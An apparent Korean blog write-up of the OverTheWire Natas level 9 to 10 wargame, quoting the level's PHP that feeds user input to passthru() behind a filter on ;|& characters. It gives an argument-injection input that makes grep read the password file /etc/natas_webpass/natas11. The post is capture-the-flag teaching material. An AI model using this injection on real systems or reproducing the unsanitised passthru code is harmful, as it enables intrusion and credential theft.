반응형

overthewire.org 문제 풀이 / Natas Level 9 → Level 10

 

코드를 보면 NATAS9와 다른 점은 preg_match() 함수가 추가되었다는 점입니다. 

입력란에 "[;|&]" 문구가 포함되면 fillter에 걸려 passthru 함수를 실행시키지 못하게 됩니다. 

 

하여 아래와 같이 입력하여, "[;|&]"를 우회해 natas11 파일을 열어 보겠습니다.

grep -i ^ /etc/natas_webpass/natas11 dictionary.txt

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

 

그러면 아래와 같이 natas11의 패스워드를 확인할 수 있습니다.

반응형

+ Recent posts